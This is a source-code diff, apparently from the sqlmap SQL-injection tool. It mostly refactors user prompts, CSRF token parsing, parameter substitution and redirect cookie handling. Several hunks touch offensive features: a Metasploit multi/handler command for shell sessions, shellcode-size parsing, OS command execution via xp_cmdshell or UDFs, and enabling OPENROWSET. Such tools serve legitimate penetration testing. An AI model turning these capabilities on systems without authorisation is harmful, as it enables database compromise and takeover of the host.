elif conf.verbose > 5:
|
||||||
responseMsg += "%s\n\n%s" % (logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE])
|
responseMsg += "%s\r\n\r\n%s" % (logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE])
|
||||||
|
|
||||||
if not multipart:
|
if not multipart:
|
||||||
logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)
|
logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)
|
||||||
@@ -730,8 +767,8 @@ class Connect(object):
|
|||||||
def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True):
|
def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True):
|
||||||
"""
|
"""
|
||||||
This method calls a function to get the target URL page content
|
This method calls a function to get the target URL page content
|
||||||
and returns its page MD5 hash or a boolean value in case of
|
and returns its page ratio (0 <= ratio <= 1) or a boolean value
|
||||||
string match check ('--string' command line parameter)
|
representing False/True match in case of !getRatioValue
|
||||||
"""
|
"""
|
||||||
|
|
||||||
if conf.direct:
|
if conf.direct:
|
||||||
@@ -816,8 +853,7 @@ class Connect(object):
|
|||||||
if place == PLACE.COOKIE or place == PLACE.CUSTOM_HEADER and value.split(',')[0] == HTTP_HEADER.COOKIE:
|
if place == PLACE.COOKIE or place == PLACE.CUSTOM_HEADER and value.split(',')[0] == HTTP_HEADER.COOKIE:
|
||||||
if kb.cookieEncodeChoice is None:
|
if kb.cookieEncodeChoice is None:
|
||||||
msg = "do you want to URL encode cookie values (implementation specific)? %s" % ("[Y/n]" if not conf.url.endswith(".aspx") else "[y/N]") # Reference: https://support.microsoft.com/en-us/kb/313282
|
msg = "do you want to URL encode cookie values (implementation specific)? %s" % ("[Y/n]" if not conf.url.endswith(".aspx") else "[y/N]") # Reference: https://support.microsoft.com/en-us/kb/313282
|
||||||
choice = readInput(msg, default='Y' if not conf.url.endswith(".aspx") else 'N')
|
kb.cookieEncodeChoice = readInput(msg, default='Y' if not conf.url.endswith(".aspx") else 'N', boolean=True)
|
||||||
kb.cookieEncodeChoice = choice.upper().strip() == "Y"
|
|
||||||
if not kb.cookieEncodeChoice:
|
if not kb.cookieEncodeChoice:
|
||||||
skip = True
|
skip = True
|
||||||
|
|
||||||
@@ -869,7 +905,7 @@ class Connect(object):
|
|||||||
post = value
|
post = value
|
||||||
|
|
||||||
if PLACE.CUSTOM_POST in conf.parameters:
|
if PLACE.CUSTOM_POST in conf.parameters:
|
||||||
post = conf.parameters[PLACE.CUSTOM_POST].replace(CUSTOM_INJECTION_MARK_CHAR, "") if place != PLACE.CUSTOM_POST or not value else value
|
post = conf.parameters[PLACE.CUSTOM_POST].replace(kb.customInjectionMark, "") if place != PLACE.CUSTOM_POST or not value else value
|
||||||
post = post.replace(ASTERISK_MARKER, '*') if post else post
|
post = post.replace(ASTERISK_MARKER, '*') if post else post
|
||||||
|
|
||||||
if PLACE.COOKIE in conf.parameters:
|
if PLACE.COOKIE in conf.parameters:
|
||||||
@@ -908,12 +944,14 @@ class Connect(object):
|
|||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, data=conf.data if conf.csrfUrl == conf.url else None, method=conf.method if conf.csrfUrl == conf.url else None, cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST))
|
page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, data=conf.data if conf.csrfUrl == conf.url else None, method=conf.method if conf.csrfUrl == conf.url else None, cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST))
|
||||||
match = re.search(r"<input[^>]+name=[\"']?%s[\"']?\s[^>]*value=(\"([^\"]+)|'([^']+)|([^ >]+))" % re.escape(conf.csrfToken), page or "")
|
token = extractRegexResult(r"(?i)<input[^>]+\bname=[\"']?%s[\"']?[^>]*\bvalue=(?P<result>(\"([^\"]+)|'([^']+)|([^ >]+)))" % re.escape(conf.csrfToken), page or "")
|
||||||
token = (match.group(2) or match.group(3) or match.group(4)) if match else None
|
|
||||||
|
|
||||||
if not token:
|
if not token:
|
||||||
match = re.search(r"%s[\"']:[\"']([^\"']+)" % re.escape(conf.csrfToken), page or "")
|
token = extractRegexResult(r"(?i)<input[^>]+\bvalue=(?P<result>(\"([^\"]+)|'([^']+)|([^ >]+)))[^>]+\bname=[\"']?%s[\"']?" % re.escape(conf.csrfToken), page or "")
|
||||||
token = match.group(1) if match else None
|
|
||||||
|
if not token:
|
||||||
|
match = re.search(r"%s[\"']:[\"']([^\"']+)" % re.escape(conf.csrfToken), page or "")
|
||||||
|
token = match.group(1) if match else None
|
||||||
|
|
||||||
if not token:
|
if not token:
|
||||||
if conf.csrfUrl != conf.url and code == httplib.OK:
|
if conf.csrfUrl != conf.url and code == httplib.OK:
|
||||||
@@ -941,6 +979,8 @@ class Connect(object):
|
|||||||
raise SqlmapTokenException, errMsg
|
raise SqlmapTokenException, errMsg
|
||||||
|
|
||||||
if token:
|
if token:
|
||||||
|
token = token.strip("'\"")
|
||||||
|
|
||||||
for place in (PLACE.GET, PLACE.POST):
|
for place in (PLACE.GET, PLACE.POST):
|
||||||
if place in conf.parameters:
|
if place in conf.parameters:
|
||||||
if place == PLACE.GET and get:
|
if place == PLACE.GET and get:
|
||||||
@@ -1008,16 +1048,19 @@ class Connect(object):
|
|||||||
try:
|
try:
|
||||||
compiler.parse(unicodeencode(conf.evalCode.replace(';', '\n')))
|
compiler.parse(unicodeencode(conf.evalCode.replace(';', '\n')))
|
||||||
except SyntaxError, ex:
|
except SyntaxError, ex:
|
||||||
original = replacement = ex.text.strip()
|
if ex.text:
|
||||||
for _ in re.findall(r"[A-Za-z_]+", original)[::-1]:
|
original = replacement = ex.text.strip()
|
||||||
if _ in keywords:
|
for _ in re.findall(r"[A-Za-z_]+", original)[::-1]:
|
||||||
replacement = replacement.replace(_, "%s%s" % (_, EVALCODE_KEYWORD_SUFFIX))
|
if _ in keywords:
|
||||||
|
replacement = replacement.replace(_, "%s%s" % (_, EVALCODE_KEYWORD_SUFFIX))
|
||||||
|
break
|
||||||
|
if original == replacement:
|
||||||
|
conf.evalCode = conf.evalCode.replace(EVALCODE_KEYWORD_SUFFIX, "")
|
||||||
break
|
break
|
||||||
if original == replacement:
|
else:
|
||||||
conf.evalCode = conf.evalCode.replace(EVALCODE_KEYWORD_SUFFIX, "")
|
conf.evalCode = conf.evalCode.replace(getUnicode(ex.text.strip(), UNICODE_ENCODING), replacement)
|
||||||
break
|
|
||||||
else:
|
else:
|
||||||
conf.evalCode = conf.evalCode.replace(ex.text.strip(), replacement)
|
break
|
||||||
else:
|
else:
|
||||||
break
|
break
|
||||||
|
|
||||||
@@ -1036,25 +1079,39 @@ class Connect(object):
|
|||||||
if name != "__builtins__" and originals.get(name, "") != value:
|
if name != "__builtins__" and originals.get(name, "") != value:
|
||||||
if isinstance(value, (basestring, int)):
|
if isinstance(value, (basestring, int)):
|
||||||
found = False
|
found = False
|
||||||
value = getUnicode(value)
|
value = getUnicode(value, UNICODE_ENCODING)
|
||||||
|
|
||||||
|
if kb.postHint and re.search(r"\b%s\b" % re.escape(name), post or ""):
|
||||||
|
if kb.postHint in (POST_HINT.XML, POST_HINT.SOAP):
|
||||||
|
if re.search(r"<%s\b" % re.escape(name), post):
|
||||||
|
found = True
|
||||||
|
post = re.sub(r"(?s)(<%s\b[^>]*>)(.*?)(</%s)" % (re.escape(name), re.escape(name)), "\g<1>%s\g<3>" % value.replace('\\', r'\\'), post)
|
||||||
|
elif re.search(r"\b%s>" % re.escape(name), post):
|
||||||
|
found = True
|
||||||
|
post = re.sub(r"(?s)(\b%s>)(.*?)(</[^<]*\b%s>)" % (re.escape(name), re.escape(name)), "\g<1>%s\g<3>" % value.replace('\\', r'\\'), post)
|
||||||
|
|
||||||
|
regex = r"\b(%s)\b([^\w]+)(\w+)" % re.escape(name)
|
||||||
|
if not found and re.search(regex, (post or "")):
|
||||||
|
found = True
|
||||||
|
post = re.sub(regex, "\g<1>\g<2>%s" % value.replace('\\', r'\\'), post)
|
||||||
|
|
||||||
regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(delimiter), re.escape(name), re.escape(delimiter))
|
regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(delimiter), re.escape(name), re.escape(delimiter))
|
||||||
|
if not found and re.search(regex, (post or "")):
|
||||||
|
found = True
|
||||||
|
post = re.sub(regex, "\g<1>%s\g<3>" % value.replace('\\', r'\\'), post)
|
||||||
|
|
||||||
if re.search(regex, (get or "")):
|
if re.search(regex, (get or "")):
|
||||||
found = True
|
found = True
|
||||||
get = re.sub(regex, "\g<1>%s\g<3>" % value, get)
|
get = re.sub(regex, "\g<1>%s\g<3>" % value.replace('\\', r'\\'), get)
|
||||||
|
|
||||||
if re.search(regex, (post or "")):
|
|
||||||
found = True
|
|
||||||
post = re.sub(regex, "\g<1>%s\g<3>" % value, post)
|
|
||||||
|
|
||||||
if re.search(regex, (query or "")):
|
if re.search(regex, (query or "")):
|
||||||
found = True
|
found = True
|
||||||
uri = re.sub(regex.replace(r"\A", r"\?"), "\g<1>%s\g<3>" % value, uri)
|
uri = re.sub(regex.replace(r"\A", r"\?"), "\g<1>%s\g<3>" % value.replace('\\', r'\\'), uri)
|
||||||
|
|
||||||
regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER), name, re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER))
|
regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER), name, re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER))
|
||||||
if re.search(regex, (cookie or "")):
|
if re.search(regex, (cookie or "")):
|
||||||
found = True
|
found = True
|
||||||
cookie = re.sub(regex, "\g<1>%s\g<3>" % value, cookie)
|
cookie = re.sub(regex, "\g<1>%s\g<3>" % value.replace('\\', r'\\'), cookie)
|
||||||
|
|
||||||
if not found:
|
if not found:
|
||||||
if post is not None:
|
if post is not None:
|
||||||
@@ -1073,7 +1130,7 @@ class Connect(object):
|
|||||||
elif kb.postUrlEncode:
|
elif kb.postUrlEncode:
|
||||||
post = urlencode(post, spaceplus=kb.postSpaceToPlus)
|
post = urlencode(post, spaceplus=kb.postSpaceToPlus)
|
||||||
|
|
||||||
if timeBasedCompare:
|
if timeBasedCompare and not conf.disableStats:
|
||||||
if len(kb.responseTimes.get(kb.responseTimeMode, [])) < MIN_TIME_RESPONSES:
|
if len(kb.responseTimes.get(kb.responseTimeMode, [])) < MIN_TIME_RESPONSES:
|
||||||
clearConsoleLine()
|
clearConsoleLine()
|
||||||
|
|
||||||
@@ -1183,7 +1240,7 @@ class Connect(object):
|
|||||||
kb.permissionFlag = re.search(PERMISSION_DENIED_REGEX, page or "", re.I) is not None
|
kb.permissionFlag = re.search(PERMISSION_DENIED_REGEX, page or "", re.I) is not None
|
||||||
|
|
||||||
if content or response:
|
if content or response:
|
||||||
return page, headers
|
return page, headers, code
|
||||||
|
|
||||||
if getRatioValue:
|
if getRatioValue:
|
||||||
return comparison(page, headers, code, getRatioValue=False, pageLength=pageLength), comparison(page, headers, code, getRatioValue=True, pageLength=pageLength)
|
return comparison(page, headers, code, getRatioValue=False, pageLength=pageLength), comparison(page, headers, code, getRatioValue=True, pageLength=pageLength)
|
||||||
|
|||||||
+12
-8
@@ -42,6 +42,7 @@ from lib.core.exception import SqlmapConnectionException
|
|||||||
from lib.core.exception import SqlmapDataException
|
from lib.core.exception import SqlmapDataException
|
||||||
from lib.core.exception import SqlmapNotVulnerableException
|
from lib.core.exception import SqlmapNotVulnerableException
|
||||||
from lib.core.exception import SqlmapUserQuitException
|
from lib.core.exception import SqlmapUserQuitException
|
||||||
|
from lib.core.settings import GET_VALUE_UPPERCASE_KEYWORDS
|
||||||
from lib.core.settings import MAX_TECHNIQUES_PER_VALUE
|
from lib.core.settings import MAX_TECHNIQUES_PER_VALUE
|
||||||
from lib.core.settings import SQL_SCALAR_REGEX
|
from lib.core.settings import SQL_SCALAR_REGEX
|
||||||
from lib.core.threads import getCurrentThreadData
|
from lib.core.threads import getCurrentThreadData
|
||||||
@@ -208,22 +209,22 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char
|
|||||||
message += "entries do you want to retrieve?\n"
|
message += "entries do you want to retrieve?\n"
|
||||||
message += "[a] All (default)\n[#] Specific number\n"
|
message += "[a] All (default)\n[#] Specific number\n"
|
||||||
message += "[q] Quit"
|
message += "[q] Quit"
|
||||||
test = readInput(message, default="a")
|
choice = readInput(message, default='A').upper()
|
||||||
|
|
||||||
if not test or test[0] in ("a", "A"):
|
if choice == 'A':
|
||||||
stopLimit = count
|
stopLimit = count
|
||||||
|
|
||||||
elif test[0] in ("q", "Q"):
|
elif choice == 'Q':
|
||||||
raise SqlmapUserQuitException
|
raise SqlmapUserQuitException
|
||||||
|
|
||||||
elif test.isdigit() and int(test) > 0 and int(test) <= count:
|
elif choice.isdigit() and int(choice) > 0 and int(choice) <= count:
|
||||||
stopLimit = int(test)
|
stopLimit = int(choice)
|
||||||
|
|
||||||
infoMsg = "sqlmap is now going to retrieve the "
|
infoMsg = "sqlmap is now going to retrieve the "
|
||||||
infoMsg += "first %d query output entries" % stopLimit
|
infoMsg += "first %d query output entries" % stopLimit
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
elif test[0] in ("#", "s", "S"):
|
elif choice in ('#', 'S'):
|
||||||
message = "how many? "
|
message = "how many? "
|
||||||
stopLimit = readInput(message, default="10")
|
stopLimit = readInput(message, default="10")
|
||||||
|
|
||||||
@@ -345,6 +346,9 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
|
|||||||
kb.safeCharEncode = safeCharEncode
|
kb.safeCharEncode = safeCharEncode
|
||||||
kb.resumeValues = resumeValue
|
kb.resumeValues = resumeValue
|
||||||
|
|
||||||
|
for keyword in GET_VALUE_UPPERCASE_KEYWORDS:
|
||||||
|
expression = re.sub("(?i)(\A|\(|\)|\s)%s(\Z|\(|\)|\s)" % keyword, r"\g<1>%s\g<2>" % keyword, expression)
|
||||||
|
|
||||||
if suppressOutput is not None:
|
if suppressOutput is not None:
|
||||||
pushValue(getCurrentThreadData().disableStdOut)
|
pushValue(getCurrentThreadData().disableStdOut)
|
||||||
getCurrentThreadData().disableStdOut = suppressOutput
|
getCurrentThreadData().disableStdOut = suppressOutput
|
||||||
@@ -356,7 +360,7 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
|
|||||||
if expected == EXPECTED.BOOL:
|
if expected == EXPECTED.BOOL:
|
||||||
forgeCaseExpression = booleanExpression = expression
|
forgeCaseExpression = booleanExpression = expression
|
||||||
|
|
||||||
if expression.upper().startswith("SELECT "):
|
if expression.startswith("SELECT "):
|
||||||
booleanExpression = "(%s)=%s" % (booleanExpression, "'1'" if "'1'" in booleanExpression else "1")
|
booleanExpression = "(%s)=%s" % (booleanExpression, "'1'" if "'1'" in booleanExpression else "1")
|
||||||
else:
|
else:
|
||||||
forgeCaseExpression = agent.forgeCaseStatement(expression)
|
forgeCaseExpression = agent.forgeCaseStatement(expression)
|
||||||
@@ -414,7 +418,7 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
|
|||||||
found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE
|
found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE
|
||||||
|
|
||||||
if found and conf.dnsDomain:
|
if found and conf.dnsDomain:
|
||||||
_ = "".join(filter(None, (key if isTechniqueAvailable(value) else None for key, value in {"E": PAYLOAD.TECHNIQUE.ERROR, "Q": PAYLOAD.TECHNIQUE.QUERY, "U": PAYLOAD.TECHNIQUE.UNION}.items())))
|
_ = "".join(filter(None, (key if isTechniqueAvailable(value) else None for key, value in {'E': PAYLOAD.TECHNIQUE.ERROR, 'Q': PAYLOAD.TECHNIQUE.QUERY, 'U': PAYLOAD.TECHNIQUE.UNION}.items())))
|
||||||
warnMsg = "option '--dns-domain' will be ignored "
|
warnMsg = "option '--dns-domain' will be ignored "
|
||||||
warnMsg += "as faster techniques are usable "
|
warnMsg += "as faster techniques are usable "
|
||||||
warnMsg += "(%s) " % _
|
warnMsg += "(%s) " % _
|
||||||
|
|||||||
@@ -5,6 +5,8 @@ Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
|||||||
See the file 'doc/COPYING' for copying permission
|
See the file 'doc/COPYING' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
import re
|
||||||
|
import time
|
||||||
import types
|
import types
|
||||||
import urllib2
|
import urllib2
|
||||||
import urlparse
|
import urlparse
|
||||||
@@ -49,18 +51,16 @@ class SmartRedirectHandler(urllib2.HTTPRedirectHandler):
|
|||||||
if kb.redirectChoice is None:
|
if kb.redirectChoice is None:
|
||||||
msg = "sqlmap got a %d redirect to " % redcode
|
msg = "sqlmap got a %d redirect to " % redcode
|
||||||
msg += "'%s'. Do you want to follow? [Y/n] " % redurl
|
msg += "'%s'. Do you want to follow? [Y/n] " % redurl
|
||||||
choice = readInput(msg, default="Y")
|
|
||||||
|
|
||||||
kb.redirectChoice = choice.upper()
|
kb.redirectChoice = REDIRECTION.YES if readInput(msg, default='Y', boolean=True) else REDIRECTION.NO
|
||||||
|
|
||||||
if kb.redirectChoice == REDIRECTION.YES and method == HTTPMETHOD.POST and kb.resendPostOnRedirect is None:
|
if kb.redirectChoice == REDIRECTION.YES and method == HTTPMETHOD.POST and kb.resendPostOnRedirect is None:
|
||||||
msg = "redirect is a result of a "
|
msg = "redirect is a result of a "
|
||||||
msg += "POST request. Do you want to "
|
msg += "POST request. Do you want to "
|
||||||
msg += "resend original POST data to a new "
|
msg += "resend original POST data to a new "
|
||||||
msg += "location? [%s] " % ("Y/n" if not kb.originalPage else "y/N")
|
msg += "location? [%s] " % ("Y/n" if not kb.originalPage else "y/N")
|
||||||
choice = readInput(msg, default=("Y" if not kb.originalPage else "N"))
|
|
||||||
|
|
||||||
kb.resendPostOnRedirect = choice.upper() == 'Y'
|
kb.resendPostOnRedirect = readInput(msg, default=('Y' if not kb.originalPage else 'N'), boolean=True)
|
||||||
|
|
||||||
if kb.resendPostOnRedirect:
|
if kb.resendPostOnRedirect:
|
||||||
self.redirect_request = self._redirect_request
|
self.redirect_request = self._redirect_request
|
||||||
@@ -70,6 +70,7 @@ class SmartRedirectHandler(urllib2.HTTPRedirectHandler):
|
|||||||
return urllib2.Request(newurl, data=req.data, headers=req.headers, origin_req_host=req.get_origin_req_host())
|
return urllib2.Request(newurl, data=req.data, headers=req.headers, origin_req_host=req.get_origin_req_host())
|
||||||
|
|
||||||
def http_error_302(self, req, fp, code, msg, headers):
|
def http_error_302(self, req, fp, code, msg, headers):
|
||||||
|
start = time.time()
|
||||||
content = None
|
content = None
|
||||||
redurl = self._get_header_redirect(headers) if not conf.ignoreRedirects else None
|
redurl = self._get_header_redirect(headers) if not conf.ignoreRedirects else None
|
||||||
|
|
||||||
@@ -93,18 +94,18 @@ class SmartRedirectHandler(urllib2.HTTPRedirectHandler):
|
|||||||
threadData.lastRedirectMsg = (threadData.lastRequestUID, content)
|
threadData.lastRedirectMsg = (threadData.lastRequestUID, content)
|
||||||
|
|
||||||
redirectMsg = "HTTP redirect "
|
redirectMsg = "HTTP redirect "
|
||||||
redirectMsg += "[#%d] (%d %s):\n" % (threadData.lastRequestUID, code, getUnicode(msg))
|
redirectMsg += "[#%d] (%d %s):\r\n" % (threadData.lastRequestUID, code, getUnicode(msg))
|
||||||
|
|
||||||
if headers:
|
if headers:
|
||||||
logHeaders = "\n".join("%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in headers.items())
|
logHeaders = "\r\n".join("%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in headers.items())
|
||||||
else:
|
else:
|
||||||
logHeaders = ""
|
logHeaders = ""
|
||||||
|
|
||||||
redirectMsg += logHeaders
|
redirectMsg += logHeaders
|
||||||
if content:
|
if content:
|
||||||
redirectMsg += "\n\n%s" % getUnicode(content[:MAX_CONNECTION_CHUNK_SIZE])
|
redirectMsg += "\r\n\r\n%s" % getUnicode(content[:MAX_CONNECTION_CHUNK_SIZE])
|
||||||
|
|
||||||
logHTTPTraffic(threadData.lastRequestMsg, redirectMsg)
|
logHTTPTraffic(threadData.lastRequestMsg, redirectMsg, start, time.time())
|
||||||
logger.log(CUSTOM_LOGGING.TRAFFIC_IN, redirectMsg)
|
logger.log(CUSTOM_LOGGING.TRAFFIC_IN, redirectMsg)
|
||||||
|
|
||||||
if redurl:
|
if redurl:
|
||||||
@@ -123,7 +124,12 @@ class SmartRedirectHandler(urllib2.HTTPRedirectHandler):
|
|||||||
|
|
||||||
req.headers[HTTP_HEADER.HOST] = getHostHeader(redurl)
|
req.headers[HTTP_HEADER.HOST] = getHostHeader(redurl)
|
||||||
if headers and HTTP_HEADER.SET_COOKIE in headers:
|
if headers and HTTP_HEADER.SET_COOKIE in headers:
|
||||||
req.headers[HTTP_HEADER.COOKIE] = headers[HTTP_HEADER.SET_COOKIE].split(conf.cookieDel or DEFAULT_COOKIE_DELIMITER)[0]
|
delimiter = conf.cookieDel or DEFAULT_COOKIE_DELIMITER
|
||||||
|
_ = headers[HTTP_HEADER.SET_COOKIE].split(delimiter)[0]
|
||||||
|
if HTTP_HEADER.COOKIE not in req.headers:
|
||||||
|
req.headers[HTTP_HEADER.COOKIE] = _
|
||||||
|
else:
|
||||||
|
req.headers[HTTP_HEADER.COOKIE] = re.sub("%s{2,}" % delimiter, delimiter, ("%s%s%s" % (re.sub(r"\b%s=[^%s]*%s?" % (re.escape(_.split('=')[0]), delimiter, delimiter), "", req.headers[HTTP_HEADER.COOKIE]), delimiter, _)).strip(delimiter))
|
||||||
try:
|
try:
|
||||||
result = urllib2.HTTPRedirectHandler.http_error_302(self, req, fp, code, msg, headers)
|
result = urllib2.HTTPRedirectHandler.http_error_302(self, req, fp, code, msg, headers)
|
||||||
except urllib2.HTTPError, e:
|
except urllib2.HTTPError, e:
|
||||||
|
|||||||
@@ -13,7 +13,7 @@ def getPageTemplate(payload, place):
|
|||||||
|
|
||||||
if payload and place:
|
if payload and place:
|
||||||
if (payload, place) not in kb.pageTemplates:
|
if (payload, place) not in kb.pageTemplates:
|
||||||
page, _ = Request.queryPage(payload, place, content=True, raise404=False)
|
page, _, _ = Request.queryPage(payload, place, content=True, raise404=False)
|
||||||
kb.pageTemplates[(payload, place)] = (page, kb.lastParserStatus is None)
|
kb.pageTemplates[(payload, place)] = (page, kb.lastParserStatus is None)
|
||||||
|
|
||||||
retVal = kb.pageTemplates[(payload, place)]
|
retVal = kb.pageTemplates[(payload, place)]
|
||||||
|
|||||||
@@ -75,17 +75,17 @@ class Abstraction(Web, UDF, XP_cmdshell):
|
|||||||
return safechardecode(retVal)
|
return safechardecode(retVal)
|
||||||
|
|
||||||
def runCmd(self, cmd):
|
def runCmd(self, cmd):
|
||||||
getOutput = None
|
choice = None
|
||||||
|
|
||||||
if not self.alwaysRetrieveCmdOutput:
|
if not self.alwaysRetrieveCmdOutput:
|
||||||
message = "do you want to retrieve the command standard "
|
message = "do you want to retrieve the command standard "
|
||||||
message += "output? [Y/n/a] "
|
message += "output? [Y/n/a] "
|
||||||
getOutput = readInput(message, default="Y")
|
choice = readInput(message, default='Y').upper()
|
||||||
|
|
||||||
if getOutput in ("a", "A"):
|
if choice == 'A':
|
||||||
self.alwaysRetrieveCmdOutput = True
|
self.alwaysRetrieveCmdOutput = True
|
||||||
|
|
||||||
if not getOutput or getOutput in ("y", "Y") or self.alwaysRetrieveCmdOutput:
|
if choice == 'Y' or self.alwaysRetrieveCmdOutput:
|
||||||
output = self.evalCmd(cmd)
|
output = self.evalCmd(cmd)
|
||||||
|
|
||||||
if output:
|
if output:
|
||||||
@@ -166,9 +166,8 @@ class Abstraction(Web, UDF, XP_cmdshell):
|
|||||||
msg += "statements as another DBMS user since you provided the "
|
msg += "statements as another DBMS user since you provided the "
|
||||||
msg += "option '--dbms-creds'. If you are DBA, you can enable it. "
|
msg += "option '--dbms-creds'. If you are DBA, you can enable it. "
|
||||||
msg += "Do you want to enable it? [Y/n] "
|
msg += "Do you want to enable it? [Y/n] "
|
||||||
choice = readInput(msg, default="Y")
|
|
||||||
|
|
||||||
if not choice or choice in ("y", "Y"):
|
if readInput(msg, default='Y', boolean=True):
|
||||||
expression = getSQLSnippet(DBMS.MSSQL, "configure_openrowset", ENABLE="1")
|
expression = getSQLSnippet(DBMS.MSSQL, "configure_openrowset", ENABLE="1")
|
||||||
inject.goStacked(expression)
|
inject.goStacked(expression)
|
||||||
|
|
||||||
@@ -190,7 +189,7 @@ class Abstraction(Web, UDF, XP_cmdshell):
|
|||||||
|
|
||||||
if mandatory and not self.isDba():
|
if mandatory and not self.isDba():
|
||||||
warnMsg = "functionality requested probably does not work because "
|
warnMsg = "functionality requested probably does not work because "
|
||||||
warnMsg += "the curent session user is not a database administrator"
|
warnMsg += "the current session user is not a database administrator"
|
||||||
|
|
||||||
if not conf.dbmsCred and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.PGSQL):
|
if not conf.dbmsCred and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.PGSQL):
|
||||||
warnMsg += ". You can try to use option '--dbms-cred' "
|
warnMsg += ". You can try to use option '--dbms-cred' "
|
||||||
|
|||||||
@@ -351,7 +351,7 @@ class Metasploit:
|
|||||||
|
|
||||||
self._cliCmd += " E"
|
self._cliCmd += " E"
|
||||||
else:
|
else:
|
||||||
self._cliCmd = "%s -x 'use multi/handler; set PAYLOAD %s" % (self._msfConsole, self.payloadConnStr)
|
self._cliCmd = "%s -L -x 'use multi/handler; set PAYLOAD %s" % (self._msfConsole, self.payloadConnStr)
|
||||||
self._cliCmd += "; set EXITFUNC %s" % exitfunc
|
self._cliCmd += "; set EXITFUNC %s" % exitfunc
|
||||||
self._cliCmd += "; set LPORT %s" % self.portStr
|
self._cliCmd += "; set LPORT %s" % self.portStr
|
||||||
|
|
||||||
@@ -601,6 +601,8 @@ class Metasploit:
|
|||||||
|
|
||||||
except (EOFError, IOError, select.error):
|
except (EOFError, IOError, select.error):
|
||||||
return proc.returncode
|
return proc.returncode
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
pass
|
||||||
|
|
||||||
def createMsfShellcode(self, exitfunc, format, extra, encode):
|
def createMsfShellcode(self, exitfunc, format, extra, encode):
|
||||||
infoMsg = "creating Metasploit Framework multi-stage shellcode "
|
infoMsg = "creating Metasploit Framework multi-stage shellcode "
|
||||||
@@ -620,7 +622,7 @@ class Metasploit:
|
|||||||
pollProcess(process)
|
pollProcess(process)
|
||||||
payloadStderr = process.communicate()[1]
|
payloadStderr = process.communicate()[1]
|
||||||
|
|
||||||
match = re.search("(Total size:|Length:|succeeded with size) ([\d]+)", payloadStderr)
|
match = re.search("(Total size:|Length:|succeeded with size|Final size of exe file:) ([\d]+)", payloadStderr)
|
||||||
|
|
||||||
if match:
|
if match:
|
||||||
payloadSize = int(match.group(2))
|
payloadSize = int(match.group(2))
|
||||||
|
|||||||
+17
-32
@@ -42,12 +42,8 @@ class UDF:
|
|||||||
def _askOverwriteUdf(self, udf):
|
def _askOverwriteUdf(self, udf):
|
||||||
message = "UDF '%s' already exists, do you " % udf
|
message = "UDF '%s' already exists, do you " % udf
|
||||||
message += "want to overwrite it? [y/N] "
|
message += "want to overwrite it? [y/N] "
|
||||||
output = readInput(message, default="N")
|
|
||||||
|
|
||||||
if output and output[0] in ("y", "Y"):
|
return readInput(message, default='N', boolean=True)
|
||||||
return True
|
|
||||||
else:
|
|
||||||
return False
|
|
||||||
|
|
||||||
def _checkExistUdf(self, udf):
|
def _checkExistUdf(self, udf):
|
||||||
logger.info("checking if UDF '%s' already exist" % udf)
|
logger.info("checking if UDF '%s' already exist" % udf)
|
||||||
@@ -158,9 +154,8 @@ class UDF:
|
|||||||
|
|
||||||
message = "do you want to proceed anyway? Beware that the "
|
message = "do you want to proceed anyway? Beware that the "
|
||||||
message += "operating system takeover will fail [y/N] "
|
message += "operating system takeover will fail [y/N] "
|
||||||
choice = readInput(message, default="N")
|
|
||||||
|
|
||||||
if choice and choice.lower() == "y":
|
if readInput(message, default='N', boolean=True):
|
||||||
written = True
|
written = True
|
||||||
else:
|
else:
|
||||||
return False
|
return False
|
||||||
@@ -200,7 +195,7 @@ class UDF:
|
|||||||
|
|
||||||
if not self.isDba():
|
if not self.isDba():
|
||||||
warnMsg = "functionality requested probably does not work because "
|
warnMsg = "functionality requested probably does not work because "
|
||||||
warnMsg += "the curent session user is not a database administrator"
|
warnMsg += "the current session user is not a database administrator"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
if not conf.shLib:
|
if not conf.shLib:
|
||||||
@@ -241,9 +236,9 @@ class UDF:
|
|||||||
msg += "from the shared library? "
|
msg += "from the shared library? "
|
||||||
|
|
||||||
while True:
|
while True:
|
||||||
